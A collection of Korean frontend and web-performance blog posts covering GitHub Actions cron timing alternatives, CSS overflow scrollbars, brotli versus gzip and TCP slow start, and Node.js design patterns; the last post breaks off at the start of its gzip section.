지연이 발생하는 지점이 러너가 아니라 GitHub 내부의 디스패치 계층이라는 점도 문제를 어렵게 만든다. self-hosted runner를 붙여도 해결이 안 되는 이유가 여기 있다. 디스패치 큐의 처리 용량을 늘리거나 스케줄 전용 경로를 별도로 만들어야 하는데, 이건 GitHub 인프라 자체의 변경이다.

한편, 이 글을 처음 쓴 2021년 당시에는 `schedule` 트리거에 타임존 설정이 불가능했다. UTC로만 동작해서 한국 시간 기준 cron을 계산해야 하는 번거로움이 있었는데, [2026년 3월에 `timezone` 필드가 추가](https://github.blog/changelog/2026-03-19-github-actions-late-march-2026-updates/)되면서 이 문제는 해결되었다.

```yaml
on:
  schedule:
    - cron: '30 5 * * 1-5'
      timezone: 'Asia/Seoul'
```

타임존 문제는 해결되었지만, 실행 타이밍의 정확도 문제는 여전하다. 결국 GitHub Actions의 `schedule`은 "대략 이 시간대에 돌면 되는" 작업에만 적합하다. 정시 실행이 필요하면 다른 곳을 써야 한다.

## 대안: 정시 실행이 가능한 무료 플랫폼

당시에는 Firebase Cloud Functions로 옮겼다.

```javascript
exports.cronJob = functions.pubsub
  .schedule('0 14 * * 1-5')
  .timeZone('Asia/Seoul')
  .onRun((_) => {
    job()
  })
```

타임존을 직접 설정할 수 있고, 실행 시간도 정확했다. `firebase init`으로 초기화하면 기본 디렉토리가 `./functions`로 잡히는데, 이건 `firebase.json`에서 바꿀 수 있다.

**firebase.json**

```json
{
  "functions": {
    "source": ".",
    "runtime": "nodejs12"
  }
}
```

![functions](./images/functions-cron.png)

Firebase 외에도 cron job을 돌릴 수 있는 선택지는 몇 가지 더 있다.

| 플랫폼                                                                                                    | 무료 범위                                    | 타임존   | 비고                                                                        |
| --------------------------------------------------------------------------------------------------------- | -------------------------------------------- | -------- | --------------------------------------------------------------------------- |
| **[Firebase Cloud Functions](https://cloud.google.com/functions/pricing-1stgen)**                         | 월 200만 회 호출                             | 지원     | Google Cloud Scheduler 기반. Blaze 플랜(종량제) 필요하지만 무료 범위가 넓다 |
| **[Google Cloud Scheduler](https://cloud.google.com/scheduler/pricing)**                                  | 빌링 계정당 3개 job 무료                     | 지원     | HTTP, Pub/Sub, App Engine 타겟. Firebase 없이 단독으로 쓸 수 있다           |
| **[Cloudflare Workers Cron Triggers](https://developers.cloudflare.com/workers/platform/cron-triggers/)** | Workers 무료 플랜 내 (일 10만 요청 공유)     | UTC 고정 | Worker 코드 안에서 실행. cold start가 거의 없다                             |
| **[Vercel Cron Jobs](https://vercel.com/docs/cron-jobs/usage-and-pricing)**                               | Hobby 플랜에서 프로젝트당 100개, 일 1회 실행 | UTC 고정 | 정밀도 ±59분. 빈도가 낮고 정확도가 덜 중요한 작업에 적합                    |

Vercel Cron Jobs의 Hobby 플랜은 일 1회 실행만 가능하고 정밀도가 ±59분이라서, 사실상 GitHub Actions `schedule`과 비슷한 한계가 있다. 정시 실행의 정확도가 필요하다면 Google Cloud Scheduler나 Cloudflare Cron Triggers가 적합하다.

---

Source: https://yceffort.kr/2021/01/overflow-auto-scroll.md
Title: overflow: auto vs overflow: scroll 왜 윈도우에서만 쓸모없는 스크롤바가 노출될까
Description: 맨날 맥만 봐서 이런 줄도 몰랐다 반성합니다
Date: 2021-01-14
Tags: css, frontend

맥에서 웹을 개발하다보면 단점 아닌 단점이 하나 있는데, 바로 웹 화면이 다른 플랫폼에서 스크롤로 도배되어 있다는 것이다. 맥의 경우에는 커서가 플랫폼 화면에 올라오는 순간에 스크롤 막대가 올라온다.

![naver-mac](./images/naver-mac.png)

> 맥은 스크롤바가 보이지 않는다.

![naver-window](./images/naver-window.png)

> 그러나 윈도우는 기본적으로 스크롤바를 깔고 간다.

같은 사이트라 할지라도, 맥은 기본적으로 애플리케이션 영역에 커서가 올라오지 않는 이상 스크롤바를 보여주지 않는다. 이는 다음과 같은 속성 때문이다.

![mac](./images/mac-scroll-preference.png)

> 스크롤 막대보기: 마우스 또는 트랙패드에 따라 자동으로 설정이 기본값으로 되어 있다.

종종 이러한 특징 때문에 맥에 대한 비난 내지는 혼선이 빚어지는데, 사실 범인은 개발자다.

**결론부터 이야기 하자면 `overflow:scroll`는 항상 스크롤 막대를 표시한다.** 그러나 대부분의 개발자들은 맥의 기본동작 처럼, 필요한 경우에만 스크롤 바를 표시하고 싶을 것이다. 이를 위해서는 `overflow: auto`를 활용하여 브라우저 스스로가 스크롤 바가 필요한지 여부를 자동으로 결정하도록 해야 한다.

이러한 문제가 발생하고 있는 곳이 링크드인 이다.

![linkedin-window-scroll](./images/linkedin-window-scrollbar.png)

링크드인에서 포스트를 올릴 때, 스크롤이 필요하지 않은 상황임에도 윈도우에서 비활성화된 스크롤바가 보이는 것을 볼 수 있다. 사진까지 올리면 이제 스크롤바가 불필요하게 중첩까지 된다.

![linkedin-window-duplicated-scrollbar.png](./images/linkedin-window-duplicated-scrollbar.png)

문제는 `overflow-y: scroll`이다. 해당 옵션을 수정하면 컨텐츠가 넘쳐날 때만 스크롤 바가 뜬다.

![linkedin-post-window-scroll-auto](./images/linkedin-post-window-scroll-auto.png)

![linkedin-post-window-scroll](./images/linkedin-post-window-scroll.png)

> 스크롤바를 의도한 걸 수도 있다. 하지만 대부분은 버그입니다.

https://developer.mozilla.org/ko/docs/Web/CSS/overflow

> `scroll`:콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 브라우저는 콘텐츠를 실제로 잘라냈는지 여부를 따지지 않고 항상 스크롤바를 노출하므로 내용의 변화에 따라 스크롤바가 생기거나 사라지지 않습니다. 프린터는 여전히 넘친 콘텐츠를 출력할 수도 있습니다.

> `auto`: 사용자 에이전트가 결정합니다. 콘텐츠가 안쪽 여백 상자에 들어간다면 visible과 동일하게 보이나, 새로운 블록 서식 문맥을 생성합니다. 데스크톱 브라우저의 경우 콘텐츠가 넘칠 때 스크롤바를 노출합니다.

이와 별개로 가로 스크롤바가 생기는 문제가 간혹 있는데, 이는 `body`나 `html`에 `100vw`를 설정했을 때다. 이 또한 맥에서는 정상적으로 작동하지만, 다른 플랫폼에서는 그렇지 못하다.

![window-100vw](./images/window-100vw.png)

> 윈도우 크롬에서 `body`에 `100vw`를 적용

![mac-100vw](./images/mac-100vw.png)

> 맥 크롬에서 `body`에 `100vw`를 적용

그 이유는 아마도 다른플랫폼에서는 `100vw`에 스크롤바의 너비까지 포함하기 때문일 것이다. 이 경우 `100%`를 적용하면 해결이 된다.

---

Source: https://yceffort.kr/2021/01/effectiveness-of-brotli.md
Title: 그런데 왜 <em>brotli</em>를 사용하지 않는 것일까? 🤔
Description: 항상 왜 그럴까를 고민해 봐야 하는 것 같다
Date: 2021-01-11
Tags: web-performance

[이 전 블로그 포스팅](/2021/01/brotli-better-html-compression)을 통해서 brotli가 무엇인지, 왜 좋은지, 왜 써야 하는지에 대해서 알아봤다. 그러나 한 가지 더 궁금한 것이 있다. 과연 비단 IE 에서 지원하지 않는다는 이유만으로 쓰지 않는 것일까? 시스템 엔지니어들이 게을러서 brotli 지원을 안해주는 것일까?

Gzip은 웹 압축에 있어서 일종의 디팩토처럼 자리잡고 있다. 이 글을 처음 쓰던 2021년 무렵에는 웹사이트의 약 80% 정도가 gzip으로 서빙되고 있었고, 아예 압축이 안되어 있는 사이트가 60% 쯤 정도 됐다. (허허) [참고](https://almanac.httparchive.org/en/2019/compression) (다행히 [2025년](https://almanac.httparchive.org/en/2025/page-weight)에는 모바일 페이지의 약 72%가 제대로 텍스트 압축을 하고 있어, 압축조차 안 하는 사이트는 그때보다 많이 줄었다.)

아무튼 지간에, Gzip도 충분히 효과적인 압축 알고리즘이지만, brotli가 gzip보다 더 크게 압축해 주는 알고리즘으로 등장했다.

![gzip-vs-brotli](https://csswizardry.com/wp-content/uploads/2020/04/react-dom-brotli.png)

그리고 이전 글에서 말했듯이, brotli를 받아주지 못하는 거의 유일한 브라우저가 IE였는데, 이 글을 쓰던 2021년에도 이미 사이트의 93%가 IE 외 환경에서 서비스되고 있었다. 6%는 무시하라는 말처럼 들릴 수도 있지만(?) brotli를 받아줄 수 없는 브라우저의 경우 gzip으로 fallback 되게 할 수 있다. (그리고 잘 알려진 대로 IE는 2022년 6월에 완전히 은퇴했다. 즉 지금은 사실상 모든 브라우저가 brotli를 받을 수 있어, 이 "IE 핑계"는 더 이상 유효하지 않다.) fallback 방법은 나중에 다룬다.

그런데 왜, 많은 사이트들이 brotli를 사용하지 않는 것일까? brotli로 전환하는 것은 얼마나 중요한 것일까?

## 작다는 것이 반드시 더 빠르다는 것은 아니다.

물론, 일반적으로는 작은 파일이 더 빠르게 도착하는 것이 사실이다. 그렇다고 파일 크기를 20% 줄였다고 20% 더 빠르게 도착하는 것은 아니다. 다시 말해 파일 크기는 웹 성능을 측정하는 한가지 측면일 뿐, 이 외에도 리소스 대기시간, 패킷손실과 같은 다른 많은 요소와 상수가 웹 성능에 영향을 미친다. 크기를 절약하는 것은 데이터를 더 빠르게 도착하게 하는 것에 도움이 되지만, latency 에 제한이 있는 경우에는 데이터 청크가 도달하는 속도에 영향을 미치지 않는다.

## TCP, Packet, Round trip

먼저 tcp에 대해 알아보자. 서버에서 파일을 받을 때는 한번에 전체 파일을 가져오지 않는다. HTTP가 위치한 TCP는 파일을 세그먼트 또는 패킷으로 나눈다. 이러한 패킷은 순서대로 클라이언트에 전송된다. 패킷은 클라이언트가 모든 패킷을 가질 때 까지, 다음 패킷을 전송하기 전에 각 패킷을 확인하고 전송하며, 클라이언트가 이러한 패킷을 조립하여 하나의 파일로 조립하게 된다. 이러한 일련의 패킷은 라운드 트립 방식으로 전송된다.

여기서 한가지 헷갈리기 쉬운 점이 있다. "서버는 보낼 파일이 몇 KB인지 아는데, 왜 대역폭은 모른다는 거지?"라는 의문이 들 수 있다. 그런데 파일 크기(보낼 데이터의 양)와 대역폭(그 데이터를 흘려보낼 길이 얼마나 빠른가)은 전혀 다른 정보다. 택배로 치면 보낼 짐의 무게는 알지만, 지금 고속도로가 얼마나 막히는지는 출발해보기 전엔 모르는 것과 같다. 게다가 그 길은 나 혼자 쓰는 게 아니라 수많은 다른 트래픽과 공유하기 때문에, 가용 대역폭은 실시간으로 계속 변한다. 그래서 서버는 파일 크기를 알아도 "이걸 얼마나 빨리 보낼 수 있는지"는 직접 보내보면서 측정하는 수밖에 없다.

각각의 새로운 TCP 연결은 현재 사용 가능한 대역폭이 무엇인지, 연결을 얼마나 신뢰할 수 있는지를 알 수 있는 방법이 없다. (예: 패킷 손실 등) 만약 서버가 한 연결당 1메가 비트 짜리 연결을 통해 메가바이트급 전송을 시도한다면, 서버 연결 요청이 쇄도하여 혼잡이 발생하게 될 것이다. 만약 1메가 바이트의 사용가능한 연결을 바탕으로 1메가 비트의 데이터를 전송하려고 한다면, 용량이 낭비되고 말 것이다.

이를 해결하기 위해 [TCP는 slow start를 사용한다.](https://ko.wikipedia.org/wiki/%ED%98%BC%EC%9E%A1_%EC%A0%9C%EC%96%B4) 각각의 새로운 TCP연결은 첫번째 왕복에서 데이터 패킷 10개만 사용하도록 제한된다. (약 14kb) 10개가 성공적으로 도착한다면, 그 다음에는 20개의 패킷을, 그다음에는 40, 80, 160 으로 기하급수적으로 증가하는데 이 증가는 다음 수준에 다다를 때 까지 발생한다.

1. 패킷손실이 발생. 이 지점에서 서버는 마지막 패킷 수를 절반으로 줄이고 다시 시도
2. 대역폭 최대에 다다라서 최대 용량을 사용가능한 경우

이러한 전략은 웹 애플리케이션이 만드는 모든 새로운 TCP연결에 활용된다. 그림으로 그리면 이런 흐름이다.

```mermaid
flowchart TD
    A[새 TCP 연결 시작] --> B{대역폭? 모름}
    B --> C["일단 작게 보낸다<br/>패킷 10개 ≈ 14KB"]
    C --> D{ACK가<br/>제때 돌아왔나?}
    D -->|"성공 (길이 넓다)"| E[혼잡 윈도우 2배로<br/>14 → 28 → 56 → ...]
    E --> C
    D -->|"패킷 손실 (막혔다)"| F[윈도우를 절반으로 줄이고<br/>다시 시도]
    F --> C
    D -->|대역폭 최대 도달| G[정상 상태로 전환<br/>측정한 용량 유지]
```

결국 서버가 대역폭을 처음부터 알았다면 이 탐색 루프 자체가 필요 없다. "모르니까 작게 보내보고 ACK로 추론한다"는 것이 핵심이다.

다시 브라우저로 돌아와서, 새 TCP 연결의 초기 대역폭 용량은 14kb다. 리액트로 예를 들어서, 아래의 표를 보자.

| Round Trip | TCP Capacity (kb) | Cumulative Transfer (kb) | React DOM               |
| ---------- | ----------------- | ------------------------ | ----------------------- |
| 1          | 14                | 14                       |                         |
| 2          | 28                | 42                       | Gzip(37kb) Brotli(33kb) |
| 3          | 56                | 98                       |                         |
| 4          | 112               | 210                      | Uncompressed (119kb)    |
| 5          | 224               | 434                      |                         |

(둘다 최대 치로 압축)

**압축은 brotli가 4kb나 더 되었지만, TCP 작동 원리에 따라서 모두 두 번째 왕복에 다운로드가 완료 되었다. 따라서, 모든 왕복시간이 거의 균일하다면, Gzip이나 brotli나 모두 전송시간에 차이가 없다는 결론이 나오게 된다.**

따라서 요점은 파일 크기가 아니라, TCP, 즉 패킷 및 왕복에 관한 것이다. 파일을 더 작게 만드는 것이 문제가 아니고, 파일을 의미있게 작게 만들어서 더 낮은 왕복 버킷에 집어 넣어야 한다. 결과적으로, brotli가 gzip보다 더욱 효과적이라면 파일을 왕복 임계값 아래로 (위의 예제에서는 14kb급으로), 더욱 공격적으로 압축을 할 수 있어야 한다.

이 규칙은 또한 새로운 TCP 연결에만 적용되며, primed TCP 연결로 가져온 파일은 영향을 받지 않는다. 여기서 primed 연결이란, 위의 slow start 과정을 이미 거쳐서 혼잡 윈도우가 충분히 커진 "데워진(warm)" 연결을 말한다. 갓 만들어진 연결이 14KB부터 시동을 거는 차가운 엔진이라면, primed 연결은 이미 고속도로에서 달리고 있는 차여서 가속 구간 없이 바로 빠르게 받을 수 있다. 즉 14KB 왕복 버킷 제약은 갓 만들어진 연결에서만 빡빡하게 걸린다. 이는 두가지 중요한 점을 제시한다.

1. 정적자산을 자체 호스팅 하는것이 중요하다. 이렇게 하면 이미 워밍업되어 있는 (새로 연결되어 있는) TCP에 연결 할 수 있으므로, 시작속도가 느려지는 것을 방지할 수 있다. 여기서 핵심은 "내 서버에 둬라"가 아니라 자산을 여러 third-party 도메인에 흩뿌려 연결을 잘게 쪼개지 말라는 것이다. 도메인이 늘어날 때마다 DNS 조회, TCP/TLS 핸드셰이크, 차가운 slow start를 처음부터 다시 치러야 하기 때문이다. CDN을 버리라는 뜻은 아니다. 오히려 자산을 하나의 CDN origin으로 모으면 연결 재사용과 엣지 근접 이점을 둘 다 챙길 수 있다.
2. 기하 급수적으로 패킷이 커지면 얼마나 거대한 대역폭에 빠르게 도달할 수 있다. 연결을 더 많이 쓰고 재사용할 수록 용량이 빠르게 늘어난다.

| Round Trip | TCP Capacity (kb) | Cumulative Transfer (kb) |
| ---------- | ----------------- | ------------------------ |
| 1          | 14                | 14                       |
| 2          | 28                | 42                       |
| 3          | 56                | 98                       |
| 4          | 112               | 210                      |
| 5          | 224               | 434                      |
| 6          | 448               | 882                      |
| 7          | 896               | 1778                     |
| 8          | 1792              | 3570                     |
| 9          | 3584              | 7154                     |
| 10         | 7168              | 14322                    |
| ...        | ...               | ...                      |
| 20         | 7340032           | 14680050                 |

10 회 왕복정도면, TCP는 7168kb이고, 14322kb를 전송했다. 이는 일반적인 웹 브라우징에 적합하다. 여기서 말하는 `일반적인`이라는 것은 대역폭 한계에 도달하기 전에 전체 웹페이지와 모든 하위 리소스를 로드 하는 것이다. 따라서, 1gbps 급 속도는 대부분 사용하지 않기 때문에 일상적인 브라우징이 더 빨라졌던가 하는 것은 느끼지 못하게 된다.

## 실제 세계에서의 실험

brotli로 제공되는 사이트에 brotli 사용을 중지하면 된다. https://www.webpagetest.org/ 에서 `content-encoding`에 `gzip`을 명시해주면 된다.

- 압축을 완전히 비활성화: `accept-encoding: 랜덤문자열`
- brotli비활성화 및 gzip: `accept-encoding: gzip`
- brotli: 비워 둔다.

결과: https://docs.google.com/spreadsheets/d/18A_dP1DuavmMjmFnHXf4gdw6ThTne5e6UyzUUgxKI5s/edit#gid=0

- gzip 크기 감소 vs 비압축: 73% 감소
- gzip fcp vs 비압축: 23.3% 감소
- brotli 크기 감소 vs gzip: 5.8% 감소
- brotli fcp vs gzip: 3.5% 감소

gzip은 비압축 대비 약 73% 정도의 크기 감소를 이뤄 냈고, 이에 더해 brotli는 gzip 대비 5.8%를 더 감소시켰다.

## 그 사이에 바뀐 것들 (2026년에 다시 보며)

이 글은 2021년에 쓴 것이라, 몇 가지는 그 사이에 꽤 달라졌다.

**brotli는 이제 "안 쓰는" 기술이 아니다.** [HTTP Archive Web Almanac](https://almanac.httparchive.org/en/2024/markup)에 따르면 2024년 기준 모바일 페이지의 약 37%가 brotli로 서빙되고 있다 (2023년 28%에서 상승). 특히 [2025년 CDN 챕터](https://almanac.httparchive.org/en/2025/cdn)를 보면, CDN을 거치는 요청은 46%가 brotli, 42%가 gzip으로 brotli가 이미 gzip을 추월했다. 반면 CDN 없이 원본 서버가 직접 응답하는 경우는 여전히 brotli 39% / gzip 61%로 gzip이 우세하다. 즉 "버튼 하나 누르면 켜지는" CDN 환경에서는 brotli가 사실상 기본값이 됐고, 직접 nginx/apache를 운영하는 쪽이 상대적으로 뒤처져 있는 셈이다.

**이제는 zstd라는 선택지도 생겼다.** 페이스북이 만든 [Zstandard(zstd)](https://en.wikipedia.org/wiki/Zstd)는 2025년 CDN 요청의 약 12%까지 올라왔다. 압축률과 압축 속도의 트레이드오프를 더 유연하게 조절할 수 있어서, 이제 "그런데 왜 brotli를 안 쓸까?"라는 질문은 "그런데 왜 zstd를 안 쓸까?"로 한 단계 옮겨가고 있다.

**왕복(RTT) 버킷 논리에는 전제가 있다.** 위에서 설명한 "작아도 같은 왕복 버킷에 들어가면 전송 시간은 같다"는 분석은 _새 TCP 연결 하나로 파일 하나를 받는 HTTP/1.1_ 상황을 가정한 것이다. HTTP/1.1에서는 한 연결로 한 번에 파일 하나씩만 주고받을 수 있었기 때문에(그래서 브라우저는 보통 한 도메인당 연결을 6개쯤 따로 열어 병렬로 받았다), "이 파일이 14KB 버킷 안에 들어가나"라는 파일 하나 단위의 분석이 비교적 잘 들어맞았다.

그런데 HTTP/2의 멀티플렉싱이나 HTTP/3(QUIC)에서는 하나의 연결 안에 여러 리소스를 잘게 쪼개 동시에 실어 나른다. 이렇게 되면 그 연결의 congestion window는 모든 리소스가 함께 나눠 쓰는 "공용 예산"이 된다. 즉 개별 파일이 어느 왕복 버킷에 들어가는지보다, 전체 리소스의 총량이 이 공용 window를 얼마나 빨리 키우고 소진하느냐(누적 전송량)가 더 중요해진다. 한 트럭에 모든 짐을 같이 싣는다고 생각하면, 짐 하나하나의 크기보다 트럭에 실린 총 무게와 트럭이 짐을 다 부리는 시점이 관건인 셈이다.

그래서 단일 파일만 떼어 보면 묻혔던 brotli의 5~20% 절감이, 수많은 리소스에 걸쳐 합쳐지면 누적 전송량을 의미 있게 줄여 실제 체감 차이로 이어질 여지가 커진다. 번들이 크고 리소스가 많을수록 더 그렇다.

**동적 콘텐츠에서 brotli를 안 켜는 진짜 이유는 CPU다.** brotli의 최대 압축 레벨(11)은 gzip 최대치보다 압축 시간이 훨씬 오래 걸린다. 그래서 미리 압축해 두고 그대로 내보낼 수 있는 정적 자산에는 레벨 11을, 매 요청마다 즉석에서 압축해야 하는 동적 응답에는 비용이 낮은 레벨(보통 4~5)을 쓰거나 아예 gzip을 유지하는 것이 합리적이다. "왜 brotli를 안 쓰나"의 실무적인 답은 IE보다 오히려 이 CPU 비용 쪽에 가깝다.

## 결론

gzip에 비해 brotli가 갖는 이점은, 적어도 새 연결로 단일 파일을 한 번 받는 관점에서는 생각보다 크지 않다.

brotli를 활성화 하는 것이 CDN 관리자 메뉴의 버튼 하나를 누르는 것 만큼 간단하다면 지금 바로 실행하는 것이 좋다. 최소한의 개선이라도 없는 것보단 낫고, fallback 제공도 잘 되어 있다.

가능한 경우 정적 자산의 경우 가능한 가장 큰 압축 수준을 사용하며, 동적인 요소에 대해서는 중간 정도의 압축을 해주는 것이 좋다. 만약 nginx 를 사용중이라면, 현재 압축수준이 1로 (기본값으로) 되어 있는지 확인해보는 것이 좋다.

brotli를 구현하기 위해 너무 애쓸 필요는 없다. 압축할 수 있는 모든 항목에 대해 gzip이 제공되고 있다면, 그것만으로도 충분할 수 있다.

— 라는 것이 2021년의 답이었다. 그런데 이 글의 제목으로 돌아가 보면, "왜 brotli를 안 쓸까?"라는 질문 자체가 이제는 시효를 다했다. 앞서 봤듯이 CDN을 쓰고 있다면 brotli는 고민할 것도 없이 이미 켜져 있을 가능성이 높기 때문이다. 그래서 2026년의 답은 정반대에 가깝다. 이제는 대부분 쓰고 있고, 정말로 안 쓰고 있다면 그건 CDN 없이 origin을 직접 굴리고 있거나, 동적 응답의 CPU 비용을 아끼고 있거나 — 아니면 이미 그다음인 zstd를 저울질하고 있다는 뜻이다.

이 글은 csswizardry의 [Real-world effectiveness of Brotli](https://csswizardry.com/2020/04/real-world-effectiveness-of-brotli/)를 바탕으로, 그 이후 바뀐 상황과 설명을 보태 다시 정리한 것이다.

---

Source: https://yceffort.kr/2021/01/nodejs-4-design-pattern.md
Title: 개발자가 알아야 하는 4가지 nodejs 디자인 패턴
Description: 옛날 스타일의 가능한 객체 지향 프로그래밍
Date: 2021-01-11
Tags: nodejs, design-patterns

디자인 패턴에는 세가지 유형이 있다.

- Creational: 객체 인스턴스 생성
- Structural: 객체 설계 방식
- Behavioural: 객체가 상호 작용하는 방식

## Singleton

클래스의 단일 인스턴스만을 원할 때 이 패턴을 사용한다. 즉, 여러개의 인스턴스를 생성하는 것이 아니라 하나만 생성하는 것이다. 인스턴스가 없다면 새 인스턴스를 생성한다. 인스턴스가 있는 경우에는, 해당 인스턴스를 사용한다.

```javascript
class DatabaseConnection {
  constructor() {
    this.databaseConnection = 'dummytext'
  }

  getNewDBConnection() {
    return this.databaseConnection
  }
}

class Singleton {
  constructor() {
    throw new Error('Use the getInstance() method on the Singleton object!')
  }

  getInstance() {
    if (!Singleton.instance) {
      Singleton.instance = new DatabaseConnection()
    }

    return Singleton.instance
  }
}

module.exports = Singleton
```

위에서 보이는 것 처럼, 싱클턴을 구축할 수 있는 많은 예제가 있다. 이 외에 이 설계 패턴을 구현하는 더 짧은 방법이 있다.

```javascript
class DatabaseConnection {
  constructor() {
    this.databaseConnection = 'dummytext'
  }

  getNewDBConnection() {
    return this.databaseConnection
  }
}

module.exports = new DatabaseConnection()
```

이것이 작동할 수 있는 이유는 module caching system 이다. [module caching system이란, 모듈이 처음 로딩 된 이후에 캐싱이 되는 것을 의미한다.](https://nodejs.org/api/modules.html#modules_caching) 즉, 위의 예제에서는, 새롭게 exported된 인스턴스는 캐싱이 되며, 이것이 재 사용될 때마다 이 캐쉬댄 내용을 불러온다는 뜻이다.

따라서,Nodejs에서 싱글턴을 구현하는 방법은 위 처럼 두가지로 볼 수 있다.

### 요약

- 싱클턴 방식은 단 하나의 클래스 인스턴스가 필요할 때 유용하다.
- Nodejs에서는, module caching system을 활용해서 export한 모듈을 바로 쓸 수 있다.

## 팩토리

팩토리 디자인 패턴은, 객체를 생성하는데 사용되는 인터페이스 또는 추상 클래스를 정의 하는 것이다. 이렇게 생성된 인터페이스 및 추상클래스를 사용하여 다른 객체를 초기화 한다. 아래의 예를 살펴보자.

```javascript
import Motorvehicle from './Motorvehicle'
import Aircraft from './Aircraf'
import Railvehicle from './Railvehicle'

const VehicleFactory = (type, make, model, year) => {
  if (type === car) {
    return new Motorvehicle('car', make, model, year)
  } else if (type === airplane) {
    return new Aircraft('airplane', make, model, year)
  } else if (type === helicopter) {
    return new Aircraft('helicopter', make, model, year)
  } else {
    return new Railvehicle('train', make, model, year)
  }
}

module.exports = VehicleFactory
```

이렇게 각 클래스 인스턴스를 별개로 만드는 대신에, `VehicleFactory`를 활용해서 타입을 명시하는 방법을 택할 수 있다. 위 예제를 활용해서, `car` 인스턴스를 만들려면 아래처럼 실행하면 된다.

```javascript
// 첫번째 매개변수에서 타입을 지정하고, 나머지는 그대로 변수를 넘긴다.
const audiAllRoad = VehicleFactory('car', 'Audi', 'A6 Allroad', '2020')
```

팩토리 디자인 패턴을 사용하면 객체의 구조가 객체 그 자체 사이를 디커플링 시킬 수 있다는 장점이 있다. 기존 코드를 손상시키지 않더라도 새 객체를 응용프로그램에 사용할 수 있다. 마지막으로, 인스턴스 생성과 관련된 모든 코드가 한 곳에 있으므로 코드를 더 잘 꾸밀 수 있다.

### 요약

- 팩토리 디자인 패턴은 객체 생성을 위한 인터페이스 및 추상 클래스를 제공한다.
- 동일한 인터페이스 및 추상 클래스를 사용하여 다른 객체를 만들 수 있다.
- 코드의 구조를 개선하고 유지관리가 더 쉬워 진다.

## 빌더

빌더 디자인 패턴 또한 마찬가지로 객체 구조와 객체를 분리할 수 있다. 따라서 복잡한 객체를 생성하는 코드를 단순화 한다. 단순한 객체를 만들 때는 과한 기능일 수 있지만, 복잡한 객체를 만들 때는 단순화 하는데 도움을 준다.

```javascript
class Car {
  constructor(make, model, year, isForSale = true, isInStock = false) {
    this.make = make
    this.model = model
    this.year = year
    this.isForSale = isForSale
    this.isInStock = isInStock
  }

  toString() {
    return console.log(JSON.stringify(this))
  }
}

class CarBuilder {
  constructor(make, model, year) {
    this.make = make
    this.model = model
    this.year = year
  }

  notForSale() {
    this.isForSale = false

    return this
  }

  addInStock() {
    this.isInStock = true

    return this
  }

  build() {
    return new Car(
      this.make,
      this.model,
      this.year,
      this.isForSale,
      this.isInStock,
    )
  }
}

module.exports = CarBuilder
```

위 패턴을 사용하면 `Car` 대신에 `CarBuilder`를 사용하여 객체를 만들 수 있다.

```javascript
const CarBuilder = require('./CarBuilder')

const bmw = new CarBuilder('bmw', 'x6', 2020).addInStock().build()
const audi = new CarBuilder('audi', 'a8', 2021).notForSale().build()
const mercedes = new CarBuilder('mercedes-benz', 'c-class', 2019).build()
```

만약에 이런 빌더 패턴 없이 복잡한 객체를 만들게 되면 에러를 발생할 가능성이 커진다.

```javascript
const bmw = new CarBuilder('bmw', 'x6', 2020, true, true)
```

뒤 이어 있는 `true`가 각각 무엇을 의미하는지 알아야 하기 때문에 객체 생성이 복잡해 지고, 에러를 만들어낼 가능성이 커진다. 따라서 빌더 디자인 패턴은 복잡한 객체 생성과 사용을 분리하는데 도움을 준다.

## 프로토타입

자바스크립트는 프로토타입 기반 언어이기 때문에, 프로토타입으로 상속이 구현되어 있다. 이 말인 즉슨, 모든 객체는 어떤 객체를 상속하고 있다는 뜻이다.

따라서 이른바 예제 객체 라고 불리우는 프로토타입 객체의 값을 복제 하여 새로운 객체를 만든다. 이는 프로토 타입이 새 객체의 일종의 청사진 역할을 하는 것이다. 이 설계 패턴을 활용하면 객체에 정의된 함수가 참조에 의해 생성된다는 이점을 얻을 수 있다. 즉, 모든 객체가 해당 기능의 복사본을 보유하는 것이 아니라 동일한 기능을 가르키게 된다. 간단히 말해, 프로토타입 기능은 프로토타입에 상속된 모든 객체에 사용할 수 있다.

```javascript
const atv = {
  make: 'Honda',
  model: 'Rincon 650',
  year: 2018,
  mud: () => {
    console.log('Mudding')
  },
}

const secondATV = Object.create(atv)
```

프로토타입에서 새로운 객체를 생성하기 위해서는, `Object.create()`를 활용하면 된다. 두번째 객체인 `secondATV`는 첫번째 객체인 `atv`와 같은 값을 가지게 된다. `mud()`를 호출해보면 같은 값을 찍는 것을 알 수 있다.

프로토타입 디자인 패턴을 활용하는 다른 방법은 클래스 안에 프로토타입을 명시하는 것이다.

```javascript
const atvPrototype = {
  mud: () => {
    console.log('Mudding')
  },
}

function Atv(make, model, year) {
  function constructor(make, model, year) {
    this.make = make
    this.model = model
    this.year = year
  }

  constructor.prototype = atvPrototype

  let instance = new constructor(make, model, year)
  return instance
}

const atv1 = Atv()
const atv2 = Atv('Honda', 'Rincon 650', '2018')
```

마찬가지로 두 인스턴스 모두 `atv` 객체에 정의된 항목에 액세스 할 수 있다.

결론적으로, 프로토타입 설계 패턴은 객체가 동일한 기능 또는 속성을 공유하기를 원할 때 유용하다.

### 요약

- 자바스크립트는 프로토타입 기반 언어다.
- 프로토타입 기반 상속을 사용한다.
- 각 객체는 다른 객체로 부터 상속된다.
- 새 객체는 프로토타입이라는 일종의 청사진에 따라 생성된다.
- 프로토타입에 정의된 함수는 모든 새 클래스에서 상속된다.
- 새 클래스는 개별 복사본을 갖는 대신 동일한 기능을 가리킨다.
-

---

Source: https://yceffort.kr/2021/01/brotli-better-html-compression.md
Title: 더 나은 압축 알고리즘, Brotli
Description: 왜 이걸 이제 알았나 자괴감 들고 괴로워
Date: 2021-01-07
Tags: web-performance

웹 사이트의 크기는 해가 갈 수록 커지고 있다. 3년 전과 비교 했을 때, 데스크톱 사이트는 20.5%, 모바일 웹 사이트의 경우에는 24.1%나 커졌다.

![total-kb](./images/website-total-kilobytes.png)

https://httparchive.org/reports/page-weight?start=2016_11_15&end=latest&view=list

다행히도(?) 단순히 사이즈만 커져가지는 않았다. 웹사이트 방문자들에게 가능한 최소한의 사이즈로 제공하기 위한 많은 노력들이 있다. 그중에 하나가 HTTP 압축이다.

## HTTP Compression

간단하게 얘기해서, 압축을 해서 웹서버에서 더 작은 파일을 서빙할 수 있도록 하는 기술이다. 사용자가 URL을 통해서 웹사이트에 접속을 하면, 브라우저는 웹서버가 압축을 해서 보낸 다는 것을 인지한다. 이러한 압축은 네트워크 요청을 빠르게 하여 가능한 로딩을 빠르게 도와준다. (압축을 푸는 것이 네트워크 요청보다 더 빠르므로)

### Gzip

